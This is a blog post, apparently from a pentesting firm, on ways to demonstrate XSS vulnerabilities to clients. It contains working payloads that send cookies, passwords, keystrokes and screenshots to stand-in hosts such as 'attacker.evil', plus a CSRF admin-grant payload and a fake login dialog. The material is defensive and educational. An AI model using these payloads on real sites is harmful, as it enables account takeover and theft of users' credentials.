Cross-site scripting (XSS) is one of the most well-known vulnerabilities in web applications, yet our security analysts at usd HeroLab encounter it regularly in our specialized web application pentests. XSS vulnerabilities allow arbitrary JavaScript code to be injected into web pages, which can have significant consequences for companies and their users. The potential effects range from content manipulation to the theft of sensitive data. Our pentest professionals not only identify relevant vulnerabilities, but also make them comprehensible to our customers. Because only when risks are communicated in an understandable way can we achieve our mission: more security.
The severity of an XSS attack depends on the specific context of the application. Because modern web applications often support business-critical processes and handle confidential information, it's essential to have a clear understanding of the risks.
In this article, we present practical methods that our security analysts use to demonstrate the identified XSS vulnerabilities to their customers in a clear and comprehensible manner, known as proof of concepts. The aim is to make the effects tangible and create a common understanding of the urgency. The more transparent the risk, the faster and more targeted protective measures can be implemented.
What is a Proof of Concept?
A proof of concept for an XSS vulnerability plays a key role in the professional handling of web application security. The aim is not only to identify a potential security vulnerability in theory, but also to demonstrate its effects in a comprehensible and replicable manner. Especially in the context of our pentests, a functioning proof is the key to a clear assessment of risks.
Good proof offers several advantages: First, it creates a solid factual basis for internal and external communication, e.g., with the development team, IT management, or external stakeholders. A comprehensible example with a concrete payload makes the vulnerability tangible and enables targeted prioritization in the security roadmap. The simple payload alert(1) is often used to prove an XSS vulnerability. It merely opens a small pop-up with the number 1. This proves that a vulnerability exists, but the actual potential danger remains hidden.
Secondly, a proof of concept helps to reliably rule out false positives, saving both time and resources. This aspect is particularly important in larger system landscapes with many dependencies. In addition, the proof makes an important contribution to risk assessment: whether it is a purely theoretical vulnerability or an actual gateway can only be reliably assessed through a well-founded demonstration.
Stealing Sessions
A similarly simple method for proof of concept of an XSS vulnerability is to steal sessions, such as the session ID from cookies or local/session storage. This clearly shows that this vulnerability could compromise the accounts of those affected. For demonstration purposes, the secret can be displayed in a pop-up, for example. In the following sample payload, the session ID is loaded from local storage and displayed in a pop-up.
<script>alert(window.localStorage.session)</script>
However, an even more illustrative method is one in which sensitive data is transferred to a domain that is controlled by our analysts as part of the web application pentest. The following example sends cookies to such a URL:
<script>
fetch("http://attacker:8000/test?cookies=" + encodeURI(document.cookie))
</script>
In addition, an excerpt from the server log can show that the data ultimately reaches our analysts.
This method uses a very small payload to directly demonstrate a serious impact of the vulnerability. It also clearly shows that the data can be transmitted without much effort. However, in order for this type of vulnerability detection to be implemented in our pentests, for example, cookies must be stored by the application in such a way that they can be read by JavaScript code. However, a session ID in a cookie with the HTTPOnly flag, for example, can prevent this method because the JavaScript code cannot access the session ID and therefore no sensitive data can be read. This example shows when this type of proof does not work.
CSRF Attacks
If users perform sensitive or administrative actions via the web application (e.g., deactivating security measures or granting administrative rights), attackers could exploit this. Similar to the so-called cross-site request forgery (CSRF) vulnerability, attackers can perform such actions on behalf of the affected users through an XSS vulnerability. However, the security measures used to protect against CSRF attacks and CSRF tokens have no effect in this case, as attackers can access data on the website through the XSS vulnerability.
The following example takes place in a web application in which administrators have the ability to grant administrative privileges to other accounts. This was implemented using the endpoint /make-admin, which additionally requires a CSRF token for protection against CSRF attacks. This token is invisibly included in the website form. However, this would not stop attackers in the event of an XSS vulnerability, as they can simply read the token.
<script>
fetch("/make-admin",{
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: `csrf=${document.getElementsByName('csrf')[0].value}&username=attacker`
});
</script>
If an application has such actions, proving the XSS vulnerability can clearly demonstrate the effects of the vulnerability. The effort required for this method can vary greatly depending on the architecture of the application. If the web application uses an API or standard forms, this method should usually not be a problem. If the web application accesses technologies such as Viewstate, where requests are difficult to reproduce manually, then proving the vulnerability involves a great deal of effort. In addition, the payloads in this proof method must always be adapted to the application and therefore represent a greater effort.
XSS vulnerabilities are often limited to specific functionalities or pages. However, depending on the structure of the page, any function can be used with this method. So as long as the application contains highly sensitive or administrative functions, these can potentially be exploited using this method to demonstrate the impact in an impressive way.
Password Hijacking
XSS vulnerabilities also allow for very creative exploits that can even enable password hijacking. Since attackers can inject their own JavaScript code, they have many options for embedding their own elements or input fields into the website. Since users trust the web application per se and attackers can modify the application directly, users usually enter their login details willingly.
This vulnerability can be compromised in various ways, with each approach using different attack vectors. For a proof of concept by our analysts, for example, the browser's autocomplete feature can be used by embedding a login form in the website that resembles the real login form. If users have saved their password in the browser's autocomplete feature, the browser will fill out the form and our analysts could easily extract the login credentials.
<input id="capture-username"><input type="password" id="capture-password">
<script>
setTimeout(() => fetch(`http://attacker.evil:8000?username=${btoa(document.getElementById("capture-username").value)}&password=${btoa(document.getElementById("capture-password").value)}`), 1000)
</script>
Another method would be to rely on the users' trust in the application and use new UI elements to prompt users to re-enter their passwords. A dialog box informing users that they have been logged out and should log in again can be surprisingly convincing.
<dialog open=true>
<form action="http://attacker.evil:8000/login">
<p>You were logged out. Please log in again:</p>
Username: <input name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Verify">
</form>
</dialog>
Due to the complete compromise of the account, this type of proof clearly demonstrates the severity of the XSS vulnerability. Proof via dialogue works particularly well in many situations and can be adapted to the design of the application with just a few style changes to reinforce its credibility.
Key Logger
An advanced method for proof of concept is to inject a keylogger. With just a small payload, it is possible to inject a keylogger into the website via the XSS vulnerability. This keylogger accurately records the subsequent entries made by users in any input fields and forwards these entries to our analysts. The following payload, for example, shows such a keylogger that sends the current value of the input field to our analysts with each entry.
<script>
document.body.addEventListener("input",
(e) => fetch(`http://attacker.evil:8000/keylogger?name=${btoa(e.srcElement.name)}&value=${btoa(e.srcElement.value)}`));
</script>
In addition, the server log can be displayed to illustrate the sensitive data obtained. If the application is a single-page application, which means that JavaScript code remains loaded between page navigations, this method provides another proof of concept option for demonstrating the far-reaching impact of a functionality-specific vulnerability.
Especially in areas with confidential user input, such as payment data, this proof of concept shows how serious the consequences of an XSS vulnerability can be.
Screenshots
In some cases, our analysts could take it a step further and not only record user input, but also monitor the user's entire screen. With a slightly larger payload, XSS vulnerabilities could be exploited to transmit screenshots in real time.
The following payload uses the JavaScript library html2canvas to send a screenshot of the web application every second. As part of the pentest, our analysts can thus track exactly what users see and enter on the website, no matter how sensitive the data is.
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.0/html2canvas.min.js"></script>
<script>
setInterval(() => html2canvas(document.body,{foreignObjectRendering: false,crossOrigin:'Anonymous',allowTaint:true}).then((c) => fetch("http://attacker.evil:8000/screenshot", {method:"POST",body:c.toDataURL()})), 1000);
</script>
This method can generate a lot of attention, especially during a live demonstration, and provides a very visual demonstration of the severity and impact of the vulnerability. However, this demonstration also requires more effort, as it requires an additional component to visually demonstrate the screenshots sent from the analyst's perspective. The library used must also be configured slightly differently depending on the structure of the website and may not support every website. Nevertheless, it offers a clear, tangible representation of the vulnerability and its potential danger.
In Summary
XSS vulnerabilities can be detected in a variety of ways, and the possibilities are virtually unlimited. Every web application opens up its own attack vectors: access to cameras or location data enables users to be monitored or tracked. Our analysts clearly demonstrate such risks by reading data streams, tracking sessions, or creating screenshots. However, what they reveal can also be exploited by attackers using technical means. The consequences are often serious.
Cross-site scripting offers a wide range of proof of concepts that convince even non-technical stakeholders. Clear, comprehensible evidence is often the decisive impetus for taking security gaps seriously and closing them quickly. Do you need help reviewing your web application? Contact us, we're happy to help.
